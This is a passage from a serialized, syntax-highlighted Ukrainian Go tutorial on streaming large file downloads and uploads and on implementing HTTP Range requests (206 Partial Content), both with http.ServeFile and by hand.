знайдено\"",[5557,33991,5305],{"class":5585},[5557,33993,8928],{"class":5654},[5557,33995,5268],{"class":5585},[5557,33997,15672],{"class":5654},[5557,33999,5623],{"class":5585},[5557,34001,34002],{"class":5559,"line":5602},[5557,34003,6076],{"class":5581},[5557,34005,34006],{"class":5559,"line":5608},[5557,34007,5735],{"class":5585},[5557,34009,34010,34012,34014,34016,34018],{"class":5559,"line":5614},[5557,34011,5741],{"class":5581},[5557,34013,32472],{"class":5654},[5557,34015,5268],{"class":5585},[5557,34017,5749],{"class":5637},[5557,34019,5752],{"class":5585},[5557,34021,34022],{"class":5559,"line":5620},[5557,34023,5575],{"emptyLinePlaceholder":5574},[5557,34025,34026],{"class":5559,"line":5626},[5557,34027,34028],{"class":5647},"    \u002F\u002F Отримуємо інформацію про файл\n",[5557,34030,34031,34034,34036,34038,34040,34042,34044,34047],{"class":5559,"line":5631},[5557,34032,34033],{"class":5654},"    fileInfo",[5557,34035,5305],{"class":5585},[5557,34037,10892],{"class":5654},[5557,34039,5663],{"class":5585},[5557,34041,32659],{"class":5654},[5557,34043,5268],{"class":5585},[5557,34045,34046],{"class":5637},"Stat",[5557,34048,5752],{"class":5585},[5557,34050,34051],{"class":5559,"line":5644},[5557,34052,5575],{"emptyLinePlaceholder":5574},[5557,34054,34055],{"class":5559,"line":5651},[5557,34056,34057],{"class":5647},"    \u002F\u002F Встановлюємо заголовки для завантаження\n",[5557,34059,34060,34062,34064,34066,34068,34070,34072,34074,34076,34079],{"class":5559,"line":5686},[5557,34061,9121],{"class":5654},[5557,34063,5268],{"class":5585},[5557,34065,10972],{"class":5637},[5557,34067,11043],{"class":5585},[5557,34069,11046],{"class":5637},[5557,34071,5673],{"class":5585},[5557,34073,11098],{"class":5592},[5557,34075,5305],{"class":5585},[5557,34077,34078],{"class":5592},"\"video\u002Fmp4\"",[5557,34080,5623],{"class":5585},[5557,34082,34083,34085,34087,34089,34091,34093,34095,34098,34100,34103],{"class":5559,"line":5704},[5557,34084,9121],{"class":5654},[5557,34086,5268],{"class":5585},[5557,34088,10972],{"class":5637},[5557,34090,11043],{"class":5585},[5557,34092,11046],{"class":5637},[5557,34094,5673],{"class":5585},[5557,34096,34097],{"class":5592},"\"Content-Disposition\"",[5557,34099,5305],{"class":5585},[5557,34101,34102],{"class":5592},"\"attachment; filename=video.mp4\"",[5557,34104,5623],{"class":5585},[5557,34106,34107,34109,34111,34113,34115,34117,34119,34122,34124,34126,34128,34130,34132,34134,34136,34138,34140,34143,34145,34147],{"class":5559,"line":5732},[5557,34108,9121],{"class":5654},[5557,34110,5268],{"class":5585},[5557,34112,10972],{"class":5637},[5557,34114,11043],{"class":5585},[5557,34116,11046],{"class":5637},[5557,34118,5673],{"class":5585},[5557,34120,34121],{"class":5592},"\"Content-Length\"",[5557,34123,5305],{"class":5585},[5557,34125,6781],{"class":5654},[5557,34127,5268],{"class":5585},[5557,34129,6786],{"class":5637},[5557,34131,5673],{"class":5585},[5557,34133,5723],{"class":5592},[5557,34135,6794],{"class":5654},[5557,34137,5723],{"class":5592},[5557,34139,5305],{"class":5585},[5557,34141,34142],{"class":5654},"fileInfo",[5557,34144,5268],{"class":5585},[5557,34146,32527],{"class":5637},[5557,34148,34149],{"class":5585},"()))\n",[5557,34151,34152],{"class":5559,"line":5738},[5557,34153,5575],{"emptyLinePlaceholder":5574},[5557,34155,34156],{"class":5559,"line":5755},[5557,34157,34158],{"class":5647},"    \u002F\u002F Потокова передача файлу клієнту\n",[5557,34160,34161],{"class":5559,"line":5760},[5557,34162,34163],{"class":5647},"    \u002F\u002F io.Copy читає з file та записує у w порціями (за замовчуванням 32 КБ)\n",[5557,34165,34166,34168,34170,34172,34174,34176,34178,34180,34182,34184,34186,34188,34190,34192,34194,34196,34198],{"class":5559,"line":5778},[5557,34167,5689],{"class":5581},[5557,34169,11557],{"class":5654},[5557,34171,5305],{"class":5585},[5557,34173,5660],{"class":5654},[5557,34175,5663],{"class":5585},[5557,34177,5311],{"class":5654},[5557,34179,5268],{"class":5585},[5557,34181,18411],{"class":5637},[5557,34183,5673],{"class":5585},[5557,34185,8909],{"class":5654},[5557,34187,5305],{"class":5585},[5557,34189,32659],{"class":5654},[5557,34191,15210],{"class":5585},[5557,34193,5660],{"class":5654},[5557,34195,5695],{"class":5585},[5557,34197,5698],{"class":5563},[5557,34199,5701],{"class":5585},[5557,34201,34202,34204,34206,34208,34210,34213,34215,34217,34219,34221],{"class":5559,"line":5794},[5557,34203,5707],{"class":5654},[5557,34205,5268],{"class":5585},[5557,34207,5857],{"class":5637},[5557,34209,5673],{"class":5585},[5557,34211,34212],{"class":5592},"\"Помилка передачі файлу: ",[5557,34214,5720],{"class":5654},[5557,34216,5723],{"class":5592},[5557,34218,5305],{"class":5585},[5557,34220,5660],{"class":5654},[5557,34222,5623],{"class":5585},[5557,34224,34225],{"class":5559,"line":5799},[5557,34226,5735],{"class":5585},[5557,34228,34229],{"class":5559,"line":5807},[5557,34230,5922],{"class":5585},[5348,34232,29775,34233,34236],{},[5236,34234,34235],{},"io.Copy(w, file)"," автоматично читає файл блоками по 32 КБ і записує у HTTP-відповідь. Це дозволяє передавати файли розміром у декілька гігабайтів без споживання великої кількості оперативної пам'яті.",[7167,34238,34240],{"id":34239},"приклад-потокове-читання-тіла-запиту","Приклад: потокове читання тіла запиту",[5348,34242,34243],{},"Якщо клієнт відправляє великий файл у POST-запиті, ви можете читати його потоково:",[5464,34245,34247],{"className":5550,"code":34246,"language":5553,"meta":5472,"style":5472},"func uploadLargeFileHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Створюємо файл на диску\n    dst, err := os.Create(\".\u002Fuploads\u002Freceived-file.bin\")\n    if err != nil {\n        http.Error(w, \"Помилка створення файлу\", http.StatusInternalServerError)\n        return\n    }\n    defer dst.Close()\n\n    \u002F\u002F Потоково копіюємо дані з тіла запиту у файл\n    bytesWritten, err := io.Copy(dst, r.Body)\n    if err != nil {\n        http.Error(w, \"Помилка збереження даних\", http.StatusInternalServerError)\n        return\n    }\n\n    fmt.Fprintf(w, \"Отримано %d байт даних\\n\", bytesWritten)\n}\n",[5236,34248,34249,34280,34285,34308,34320,34347,34351,34355,34367,34371,34376,34407,34419,34446,34450,34454,34458,34491],{"__ignoreMap":5472},[5557,34250,34251,34253,34256,34258,34260,34262,34264,34266,34268,34270,34272,34274,34276,34278],{"class":5559,"line":5560},[5557,34252,5634],{"class":5563},[5557,34254,34255],{"class":5637}," uploadLargeFileHandler",[5557,34257,5673],{"class":5585},[5557,34259,8909],{"class":5654},[5557,34261,8912],{"class":5567},[5557,34263,5268],{"class":5585},[5557,34265,8917],{"class":5567},[5557,34267,5305],{"class":5585},[5557,34269,8922],{"class":5654},[5557,34271,8925],{"class":5585},[5557,34273,8928],{"class":5567},[5557,34275,5268],{"class":5585},[5557,34277,8933],{"class":5567},[5557,34279,5949],{"class":5585},[5557,34281,34282],{"class":5559,"line":5571},[5557,34283,34284],{"class":5647},"    \u002F\u002F Створюємо файл на диску\n",[5557,34286,34287,34289,34291,34293,34295,34297,34299,34301,34303,34306],{"class":5559,"line":5578},[5557,34288,18364],{"class":5654},[5557,34290,5305],{"class":5585},[5557,34292,5660],{"class":5654},[5557,34294,5663],{"class":5585},[5557,34296,18373],{"class":5654},[5557,34298,5268],{"class":5585},[5557,34300,18378],{"class":5637},[5557,34302,5673],{"class":5585},[5557,34304,34305],{"class":5592},"\".\u002Fuploads\u002Freceived-file.bin\"",[5557,34307,5623],{"class":5585},[5557,34309,34310,34312,34314,34316,34318],{"class":5559,"line":5589},[5557,34311,5689],{"class":5581},[5557,34313,5692],{"class":5654},[5557,34315,5695],{"class":5585},[5557,34317,5698],{"class":5563},[5557,34319,5701],{"class":5585},[5557,34321,34322,34324,34326,34328,34330,34332,34334,34337,34339,34341,34343,34345],{"class":5559,"line":5596},[5557,34323,9300],{"class":5654},[5557,34325,5268],{"class":5585},[5557,34327,9267],{"class":5637},[5557,34329,5673],{"class":5585},[5557,34331,8909],{"class":5654},[5557,34333,5305],{"class":5585},[5557,34335,34336],{"class":5592},"\"Помилка створення файлу\"",[5557,34338,5305],{"class":5585},[5557,34340,8928],{"class":5654},[5557,34342,5268],{"class":5585},[5557,34344,9322],{"class":5654},[5557,34346,5623],{"class":5585},[5557,34348,34349],{"class":5559,"line":5602},[5557,34350,6076],{"class":5581},[5557,34352,34353],{"class":5559,"line":5608},[5557,34354,5735],{"class":5585},[5557,34356,34357,34359,34361,34363,34365],{"class":5559,"line":5614},[5557,34358,5741],{"class":5581},[5557,34360,18392],{"class":5654},[5557,34362,5268],{"class":5585},[5557,34364,5749],{"class":5637},[5557,34366,5752],{"class":5585},[5557,34368,34369],{"class":5559,"line":5620},[5557,34370,5575],{"emptyLinePlaceholder":5574},[5557,34372,34373],{"class":5559,"line":5626},[5557,34374,34375],{"class":5647},"    \u002F\u002F Потоково копіюємо дані з тіла запиту у файл\n",[5557,34377,34378,34381,34383,34385,34387,34389,34391,34393,34395,34397,34399,34401,34403,34405],{"class":5559,"line":5631},[5557,34379,34380],{"class":5654},"    bytesWritten",[5557,34382,5305],{"class":5585},[5557,34384,5660],{"class":5654},[5557,34386,5663],{"class":5585},[5557,34388,5311],{"class":5654},[5557,34390,5268],{"class":5585},[5557,34392,18411],{"class":5637},[5557,34394,5673],{"class":5585},[5557,34396,18416],{"class":5654},[5557,34398,5305],{"class":5585},[5557,34400,8922],{"class":5654},[5557,34402,5268],{"class":5585},[5557,34404,15196],{"class":5654},[5557,34406,5623],{"class":5585},[5557,34408,34409,34411,34413,34415,34417],{"class":5559,"line":5644},[5557,34410,5689],{"class":5581},[5557,34412,5692],{"class":5654},[5557,34414,5695],{"class":5585},[5557,34416,5698],{"class":5563},[5557,34418,5701],{"class":5585},[5557,34420,34421,34423,34425,34427,34429,34431,34433,34436,34438,34440,34442,34444],{"class":5559,"line":5651},[5557,34422,9300],{"class":5654},[5557,34424,5268],{"class":5585},[5557,34426,9267],{"class":5637},[5557,34428,5673],{"class":5585},[5557,34430,8909],{"class":5654},[5557,34432,5305],{"class":5585},[5557,34434,34435],{"class":5592},"\"Помилка збереження даних\"",[5557,34437,5305],{"class":5585},[5557,34439,8928],{"class":5654},[5557,34441,5268],{"class":5585},[5557,34443,9322],{"class":5654},[5557,34445,5623],{"class":5585},[5557,34447,34448],{"class":5559,"line":5686},[5557,34449,6076],{"class":5581},[5557,34451,34452],{"class":5559,"line":5704},[5557,34453,5735],{"class":5585},[5557,34455,34456],{"class":5559,"line":5732},[5557,34457,5575],{"emptyLinePlaceholder":5574},[5557,34459,34460,34462,34464,34466,34468,34470,34472,34475,34477,34480,34482,34484,34486,34489],{"class":5559,"line":5738},[5557,34461,5763],{"class":5654},[5557,34463,5268],{"class":5585},[5557,34465,9146],{"class":5637},[5557,34467,5673],{"class":5585},[5557,34469,8909],{"class":5654},[5557,34471,5305],{"class":5585},[5557,34473,34474],{"class":5592},"\"Отримано ",[5557,34476,6794],{"class":5654},[5557,34478,34479],{"class":5592}," байт даних",[5557,34481,6372],{"class":6358},[5557,34483,5723],{"class":5592},[5557,34485,5305],{"class":5585},[5557,34487,34488],{"class":5654},"bytesWritten",[5557,34490,5623],{"class":5585},[5557,34492,34493],{"class":5559,"line":5755},[5557,34494,5922],{"class":5585},[7167,34496,34498],{"id":34497},"range-requests-часткове-завантаження-великих-файлів","Range Requests: часткове завантаження великих файлів",[5348,34500,34501,34502,5226,34505,34508],{},"Протокол HTTP підтримує механізм ",[5205,34503,34504],{},"часткового завантаження",[5228,34506,34507],{},"partial content \u002F range requests","), який дозволяє клієнту запитувати лише певний діапазон байтів файлу. Це критично важливо для:",[5198,34510,34511,34517,34523],{},[5201,34512,34513,34516],{},[5205,34514,34515],{},"Докачування файлів:"," Якщо завантаження великого файлу було перервано, клієнт може продовжити з місця обриву замість завантаження з початку.",[5201,34518,34519,34522],{},[5205,34520,34521],{},"Потокового відео:"," Відеоплеєри запитують лише ті сегменти, які зараз відтворюються, замість завантаження всього файлу.",[5201,34524,34525,34528],{},[5205,34526,34527],{},"Перегляду PDF:"," PDF-в'юери завантажують лише поточні сторінки.",[7759,34530,34532],{"id":34531},"як-працюють-range-requests","Як працюють Range Requests",[5348,34534,34535,34536,7256],{},"Клієнт вказує діапазон байтів у заголовку ",[5236,34537,34538],{},"Range",[5464,34540,34543],{"className":34541,"code":34542,"language":5469},[5467],"GET \u002Fvideo.mp4 HTTP\u002F1.1\nRange: bytes=0-1023\n",[5236,34544,34542],{"__ignoreMap":5472},[5348,34546,34547,34548,7256],{},"Сервер повертає лише перші 1024 байти (0–1023) зі статус-кодом ",[5205,34549,34550],{},"206 Partial Content",[5464,34552,34555],{"className":34553,"code":34554,"language":5469},[5467],"HTTP\u002F1.1 206 Partial Content\nContent-Range: bytes 0-1023\u002F5242880\nContent-Length: 1024\nContent-Type: video\u002Fmp4\n\n[binary data 1024 bytes]\n",[5236,34556,34554],{"__ignoreMap":5472},[5348,34558,34559,34560,7256],{},"Розбір заголовка ",[5236,34561,34562],{},"Content-Range",[5198,34564,34565,34571],{},[5201,34566,34567,34570],{},[5236,34568,34569],{},"bytes 0-1023"," — повернутий діапазон.",[5201,34572,34573,34576],{},[5236,34574,34575],{},"\u002F5242880"," — загальний розмір файлу (5 МБ).",[5348,34578,34579],{},"Якщо клієнт запитує з 1024-го байта до кінця:",[5464,34581,34584],{"className":34582,"code":34583,"language":5469},[5467],"Range: bytes=1024-\n",[5236,34585,34583],{"__ignoreMap":5472},[5348,34587,34588],{},"Сервер поверне все, починаючи з байта 1024 до кінця файлу.",[5348,34590,34591,34592,7256],{},"Клієнт також може запитувати ",[5205,34593,34594],{},"множинні діапазони",[5464,34596,34599],{"className":34597,"code":34598,"language":5469},[5467],"Range: bytes=0-1023, 5000-6000\n",[5236,34600,34598],{"__ignoreMap":5472},[7759,34602,34604],{"id":34603},"реалізація-range-requests-у-go","Реалізація Range Requests у Go",[5348,34606,34607,34608,34610,34611,5376,34614,7256],{},"Go стандартна бібліотека ",[5236,34609,5238],{}," автоматично підтримує Range Requests при використанні ",[5236,34612,34613],{},"http.ServeFile",[5236,34615,34616],{},"http.ServeContent",[5464,34618,34620],{"className":5550,"code":34619,"language":5553,"meta":5472,"style":5472},"func videoHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F http.ServeFile автоматично обробляє Range-запити\n    http.ServeFile(w, r, \".\u002Fvideos\u002Fmovie.mp4\")\n}\n",[5236,34621,34622,34653,34658,34681],{"__ignoreMap":5472},[5557,34623,34624,34626,34629,34631,34633,34635,34637,34639,34641,34643,34645,34647,34649,34651],{"class":5559,"line":5560},[5557,34625,5634],{"class":5563},[5557,34627,34628],{"class":5637}," videoHandler",[5557,34630,5673],{"class":5585},[5557,34632,8909],{"class":5654},[5557,34634,8912],{"class":5567},[5557,34636,5268],{"class":5585},[5557,34638,8917],{"class":5567},[5557,34640,5305],{"class":5585},[5557,34642,8922],{"class":5654},[5557,34644,8925],{"class":5585},[5557,34646,8928],{"class":5567},[5557,34648,5268],{"class":5585},[5557,34650,8933],{"class":5567},[5557,34652,5949],{"class":5585},[5557,34654,34655],{"class":5559,"line":5571},[5557,34656,34657],{"class":5647},"    \u002F\u002F http.ServeFile автоматично обробляє Range-запити\n",[5557,34659,34660,34662,34664,34666,34668,34670,34672,34674,34676,34679],{"class":5559,"line":5578},[5557,34661,9097],{"class":5654},[5557,34663,5268],{"class":5585},[5557,34665,21102],{"class":5637},[5557,34667,5673],{"class":5585},[5557,34669,8909],{"class":5654},[5557,34671,5305],{"class":5585},[5557,34673,8922],{"class":5654},[5557,34675,5305],{"class":5585},[5557,34677,34678],{"class":5592},"\".\u002Fvideos\u002Fmovie.mp4\"",[5557,34680,5623],{"class":5585},[5557,34682,34683],{"class":5559,"line":5589},[5557,34684,5922],{"class":5585},[5348,34686,34687,34688,34690],{},"Якщо клієнт надіслав заголовок ",[5236,34689,34538],{},", Go автоматично:",[5477,34692,34693,34696,34702,34705],{},[5201,34694,34695],{},"Парсить діапазон.",[5201,34697,34698,34699,7121],{},"Відкриває файл і переходить до потрібної позиції (",[5236,34700,34701],{},"file.Seek",[5201,34703,34704],{},"Читає та повертає лише запитаний діапазон.",[5201,34706,34707,34708,5268],{},"Встановлює статус-код 206 та заголовки ",[5236,34709,34562],{},[7759,34711,34713],{"id":34712},"ручна-реалізація-range-requests","Ручна реалізація Range Requests",[5348,34715,34716],{},"Для більшого контролю можна реалізувати підтримку вручну:",[5464,34718,34720],{"className":5550,"code":34719,"language":5553,"meta":5472,"style":5472},"func rangeFileHandler(w http.ResponseWriter, r *http.Request) {\n    file, err := os.Open(\".\u002Fdata\u002Flarge-file.bin\")\n    if err != nil {\n        http.Error(w, \"File not found\", http.StatusNotFound)\n        return\n    }\n    defer file.Close()\n\n    fileInfo, _ := file.Stat()\n    fileSize := fileInfo.Size()\n\n    \u002F\u002F Перевіряємо наявність заголовка Range\n    rangeHeader := r.Header.Get(\"Range\")\n    if rangeHeader == \"\" {\n        \u002F\u002F Повний файл\n        w.Header().Set(\"Content-Length\", fmt.Sprintf(\"%d\", fileSize))\n        w.Header().Set(\"Content-Type\", \"application\u002Foctet-stream\")\n        io.Copy(w, file)\n        return\n    }\n\n    \u002F\u002F Парсимо Range: \"bytes=1024-2047\"\n    var start, end int64\n    _, err = fmt.Sscanf(rangeHeader, \"bytes=%d-%d\", &start, &end)\n    if err != nil {\n        \u002F\u002F Якщо формат \"bytes=1024-\" (до кінця)\n        fmt.Sscanf(rangeHeader, \"bytes=%d-\", &start)\n        end = fileSize - 1\n    }\n\n    \u002F\u002F Валідація діапазону\n    if start \u003C 0 || start >= fileSize || end >= fileSize || start > end {\n        w.Header().Set(\"Content-Range\", fmt.Sprintf(\"bytes *\u002F%d\", fileSize))\n        http.Error(w, \"Requested Range Not Satisfiable\", http.StatusRequestedRangeNotSatisfiable)\n        return\n    }\n\n    \u002F\u002F Переходимо до початкової позиції\n    file.Seek(start, io.SeekStart)\n\n    \u002F\u002F Обчислюємо довжину діапазону\n    rangeLength := end - start + 1\n\n    \u002F\u002F Встановлюємо заголовки для 206 Partial Content\n    w.Header().Set(\"Content-Range\", fmt.Sprintf(\"bytes %d-%d\u002F%d\", start, end, fileSize))\n    w.Header().Set(\"Content-Length\", fmt.Sprintf(\"%d\", rangeLength))\n    w.Header().Set(\"Content-Type\", \"application\u002Foctet-stream\")\n    w.Header().Set(\"Accept-Ranges\", \"bytes\")\n    w.WriteHeader(http.StatusPartialContent)\n\n    \u002F\u002F Передаємо лише запитаний діапазон\n    io.CopyN(w, file, rangeLength)\n}\n",[5236,34721,34722,34753,34776,34788,34815,34819,34823,34835,34839,34857,34872,34876,34881,34905,34918,34923,34962,34985,35004,35008,35012,35016,35021,35035,35082,35094,35099,35126,35141,35145,35149,35154,35190,35230,35258,35262,35266,35270,35275,35299,35303,35308,35325,35329,35334,35389,35428,35450,35474,35493,35497,35502,35525],{"__ignoreMap":5472},[5557,34723,34724,34726,34729,34731,34733,34735,34737,34739,34741,34743,34745,34747,34749,34751],{"class":5559,"line":5560},[5557,34725,5634],{"class":5563},[5557,34727,34728],{"class":5637}," rangeFileHandler",[5557,34730,5673],{"class":5585},[5557,34732,8909],{"class":5654},[5557,34734,8912],{"class":5567},[5557,34736,5268],{"class":5585},[5557,34738,8917],{"class":5567},[5557,34740,5305],{"class":5585},[5557,34742,8922],{"class":5654},[5557,34744,8925],{"class":5585},[5557,34746,8928],{"class":5567},[5557,34748,5268],{"class":5585},[5557,34750,8933],{"class":5567},[5557,34752,5949],{"class":5585},[5557,34754,34755,34757,34759,34761,34763,34765,34767,34769,34771,34774],{"class":5559,"line":5571},[5557,34756,32395],{"class":5654},[5557,34758,5305],{"class":5585},[5557,34760,5660],{"class":5654},[5557,34762,5663],{"class":5585},[5557,34764,18373],{"class":5654},[5557,34766,5268],{"class":5585},[5557,34768,33953],{"class":5637},[5557,34770,5673],{"class":5585},[5557,34772,34773],{"class":5592},"\".\u002Fdata\u002Flarge-file.bin\"",[5557,34775,5623],{"class":5585},[5557,34777,34778,34780,34782,34784,34786],{"class":5559,"line":5578},[5557,34779,5689],{"class":5581},[5557,34781,5692],{"class":5654},[5557,34783,5695],{"class":5585},[5557,34785,5698],{"class":5563},[5557,34787,5701],{"class":5585},[5557,34789,34790,34792,34794,34796,34798,34800,34802,34805,34807,34809,34811,34813],{"class":5559,"line":5589},[5557,34791,9300],{"class":5654},[5557,34793,5268],{"class":5585},[5557,34795,9267],{"class":5637},[5557,34797,5673],{"class":5585},[5557,34799,8909],{"class":5654},[5557,34801,5305],{"class":5585},[5557,34803,34804],{"class":5592},"\"File not found\"",[5557,34806,5305],{"class":5585},[5557,34808,8928],{"class":5654},[5557,34810,5268],{"class":5585},[5557,34812,15672],{"class":5654},[5557,34814,5623],{"class":5585},[5557,34816,34817],{"class":5559,"line":5596},[5557,34818,6076],{"class":5581},[5557,34820,34821],{"class":5559,"line":5602},[5557,34822,5735],{"class":5585},[5557,34824,34825,34827,34829,34831,34833],{"class":5559,"line":5608},[5557,34826,5741],{"class":5581},[5557,34828,32472],{"class":5654},[5557,34830,5268],{"class":5585},[5557,34832,5749],{"class":5637},[5557,34834,5752],{"class":5585},[5557,34836,34837],{"class":5559,"line":5614},[5557,34838,5575],{"emptyLinePlaceholder":5574},[5557,34840,34841,34843,34845,34847,34849,34851,34853,34855],{"class":5559,"line":5620},[5557,34842,34033],{"class":5654},[5557,34844,5305],{"class":5585},[5557,34846,10892],{"class":5654},[5557,34848,5663],{"class":5585},[5557,34850,32659],{"class":5654},[5557,34852,5268],{"class":5585},[5557,34854,34046],{"class":5637},[5557,34856,5752],{"class":5585},[5557,34858,34859,34862,34864,34866,34868,34870],{"class":5559,"line":5626},[5557,34860,34861],{"class":5654},"    fileSize",[5557,34863,5663],{"class":5585},[5557,34865,34142],{"class":5654},[5557,34867,5268],{"class":5585},[5557,34869,32527],{"class":5637},[5557,34871,5752],{"class":5585},[5557,34873,34874],{"class":5559,"line":5631},[5557,34875,5575],{"emptyLinePlaceholder":5574},[5557,34877,34878],{"class":5559,"line":5644},[5557,34879,34880],{"class":5647},"    \u002F\u002F Перевіряємо наявність заголовка Range\n",[5557,34882,34883,34886,34888,34890,34892,34894,34896,34898,34900,34903],{"class":5559,"line":5651},[5557,34884,34885],{"class":5654},"    rangeHeader",[5557,34887,5663],{"class":5585},[5557,34889,8922],{"class":5654},[5557,34891,5268],{"class":5585},[5557,34893,10972],{"class":5654},[5557,34895,5268],{"class":5585},[5557,34897,10977],{"class":5637},[5557,34899,5673],{"class":5585},[5557,34901,34902],{"class":5592},"\"Range\"",[5557,34904,5623],{"class":5585},[5557,34906,34907,34909,34912,34914,34916],{"class":5559,"line":5686},[5557,34908,5689],{"class":5581},[5557,34910,34911],{"class":5654}," rangeHeader",[5557,34913,6353],{"class":5585},[5557,34915,9520],{"class":5592},[5557,34917,5701],{"class":5585},[5557,34919,34920],{"class":5559,"line":5704},[5557,34921,34922],{"class":5647},"        \u002F\u002F Повний файл\n",[5557,34924,34925,34927,34929,34931,34933,34935,34937,34939,34941,34943,34945,34947,34949,34951,34953,34955,34957,34960],{"class":5559,"line":5732},[5557,34926,11000],{"class":5654},[5557,34928,5268],{"class":5585},[5557,34930,10972],{"class":5637},[5557,34932,11043],{"class":5585},[5557,34934,11046],{"class":5637},[5557,34936,5673],{"class":5585},[5557,34938,34121],{"class":5592},[5557,34940,5305],{"class":5585},[5557,34942,6781],{"class":5654},[5557,34944,5268],{"class":5585},[5557,34946,6786],{"class":5637},[5557,34948,5673],{"class":5585},[5557,34950,5723],{"class":5592},[5557,34952,6794],{"class":5654},[5557,34954,5723],{"class":5592},[5557,34956,5305],{"class":5585},[5557,34958,34959],{"class":5654},"fileSize",[5557,34961,6878],{"class":5585},[5557,34963,34964,34966,34968,34970,34972,34974,34976,34978,34980,34983],{"class":5559,"line":5738},[5557,34965,11000],{"class":5654},[5557,34967,5268],{"class":5585},[5557,34969,10972],{"class":5637},[5557,34971,11043],{"class":5585},[5557,34973,11046],{"class":5637},[5557,34975,5673],{"class":5585},[5557,34977,11098],{"class":5592},[5557,34979,5305],{"class":5585},[5557,34981,34982],{"class":5592},"\"application\u002Foctet-stream\"",[5557,34984,5623],{"class":5585},[5557,34986,34987,34990,34992,34994,34996,34998,35000,35002],{"class":5559,"line":5755},[5557,34988,34989],{"class":5654},"        io",[5557,34991,5268],{"class":5585},[5557,34993,18411],{"class":5637},[5557,34995,5673],{"class":5585},[5557,34997,8909],{"class":5654},[5557,34999,5305],{"class":5585},[5557,35001,32659],{"class":5654},[5557,35003,5623],{"class":5585},[5557,35005,35006],{"class":5559,"line":5760},[5557,35007,6076],{"class":5581},[5557,35009,35010],{"class":5559,"line":5778},[5557,35011,5735],{"class":5585},[5557,35013,35014],{"class":5559,"line":5794},[5557,35015,5575],{"emptyLinePlaceholder":5574},[5557,35017,35018],{"class":5559,"line":5799},[5557,35019,35020],{"class":5647},"    \u002F\u002F Парсимо Range: \"bytes=1024-2047\"\n",[5557,35022,35023,35025,35028,35030,35033],{"class":5559,"line":5807},[5557,35024,18492],{"class":5563},[5557,35026,35027],{"class":5654}," start",[5557,35029,5305],{"class":5585},[5557,35031,35032],{"class":5654},"end",[5557,35034,16720],{"class":5567},[5557,35036,35037,35039,35041,35043,35045,35047,35049,35052,35054,35057,35059,35062,35064,35067,35069,35071,35073,35076,35078,35080],{"class":5559,"line":5813},[5557,35038,6938],{"class":5654},[5557,35040,5305],{"class":5585},[5557,35042,5660],{"class":5654},[5557,35044,15023],{"class":5585},[5557,35046,6781],{"class":5654},[5557,35048,5268],{"class":5585},[5557,35050,35051],{"class":5637},"Sscanf",[5557,35053,5673],{"class":5585},[5557,35055,35056],{"class":5654},"rangeHeader",[5557,35058,5305],{"class":5585},[5557,35060,35061],{"class":5592},"\"bytes=",[5557,35063,6794],{"class":5654},[5557,35065,35066],{"class":5592},"-",[5557,35068,6794],{"class":5654},[5557,35070,5723],{"class":5592},[5557,35072,21271],{"class":5585},[5557,35074,35075],{"class":5654},"start",[5557,35077,21271],{"class":5585},[5557,35079,35032],{"class":5654},[5557,35081,5623],{"class":5585},[5557,35083,35084,35086,35088,35090,35092],{"class":5559,"line":5835},[5557,35085,5689],{"class":5581},[5557,35087,5692],{"class":5654},[5557,35089,5695],{"class":5585},[5557,35091,5698],{"class":5563},[5557,35093,5701],{"class":5585},[5557,35095,35096],{"class":5559,"line":5849},[5557,35097,35098],{"class":5647},"        \u002F\u002F Якщо формат \"bytes=1024-\" (до кінця)\n",[5557,35100,35101,35103,35105,35107,35109,35111,35113,35115,35117,35120,35122,35124],{"class":5559,"line":5875},[5557,35102,11530],{"class":5654},[5557,35104,5268],{"class":5585},[5557,35106,35051],{"class":5637},[5557,35108,5673],{"class":5585},[5557,35110,35056],{"class":5654},[5557,35112,5305],{"class":5585},[5557,35114,35061],{"class":5592},[5557,35116,6794],{"class":5654},[5557,35118,35119],{"class":5592},"-\"",[5557,35121,21271],{"class":5585},[5557,35123,35075],{"class":5654},[5557,35125,5623],{"class":5585},[5557,35127,35128,35131,35133,35135,35138],{"class":5559,"line":5881},[5557,35129,35130],{"class":5654},"        end",[5557,35132,15023],{"class":5585},[5557,35134,34959],{"class":5654},[5557,35136,35137],{"class":5585}," - ",[5557,35139,35140],{"class":6134},"1\n",[5557,35142,35143],{"class":5559,"line":5887},[5557,35144,5735],{"class":5585},[5557,35146,35147],{"class":5559,"line":5892},[5557,35148,5575],{"emptyLinePlaceholder":5574},[5557,35150,35151],{"class":5559,"line":5898},[5557,35152,35153],{"class":5647},"    \u002F\u002F Валідація діапазону\n",[5557,35155,35156,35158,35160,35162,35164,35166,35168,35170,35172,35174,35176,35178,35180,35182,35184,35186,35188],{"class":5559,"line":5914},[5557,35157,5689],{"class":5581},[5557,35159,35027],{"class":5654},[5557,35161,20358],{"class":5585},[5557,35163,6195],{"class":6134},[5557,35165,6363],{"class":5585},[5557,35167,35075],{"class":5654},[5557,35169,26099],{"class":5585},[5557,35171,34959],{"class":5654},[5557,35173,6363],{"class":5585},[5557,35175,35032],{"class":5654},[5557,35177,26099],{"class":5585},[5557,35179,34959],{"class":5654},[5557,35181,6363],{"class":5585},[5557,35183,35075],{"class":5654},[5557,35185,28486],{"class":5585},[5557,35187,35032],{"class":5654},[5557,35189,5701],{"class":5585},[5557,35191,35192,35194,35196,35198,35200,35202,35204,35207,35209,35211,35213,35215,35217,35220,35222,35224,35226,35228],{"class":5559,"line":5919},[5557,35193,11000],{"class":5654},[5557,35195,5268],{"class":5585},[5557,35197,10972],{"class":5637},[5557,35199,11043],{"class":5585},[5557,35201,11046],{"class":5637},[5557,35203,5673],{"class":5585},[5557,35205,35206],{"class":5592},"\"Content-Range\"",[5557,35208,5305],{"class":5585},[5557,35210,6781],{"class":5654},[5557,35212,5268],{"class":5585},[5557,35214,6786],{"class":5637},[5557,35216,5673],{"class":5585},[5557,35218,35219],{"class":5592},"\"bytes *\u002F",[5557,35221,6794],{"class":5654},[5557,35223,5723],{"class":5592},[5557,35225,5305],{"class":5585},[5557,35227,34959],{"class":5654},[5557,35229,6878],{"class":5585},[5557,35231,35232,35234,35236,35238,35240,35242,35244,35247,35249,35251,35253,35256],{"class":5559,"line":5925},[5557,35233,9300],{"class":5654},[5557,35235,5268],{"class":5585},[5557,35237,9267],{"class":5637},[5557,35239,5673],{"class":5585},[5557,35241,8909],{"class":5654},[5557,35243,5305],{"class":5585},[5557,35245,35246],{"class":5592},"\"Requested Range Not 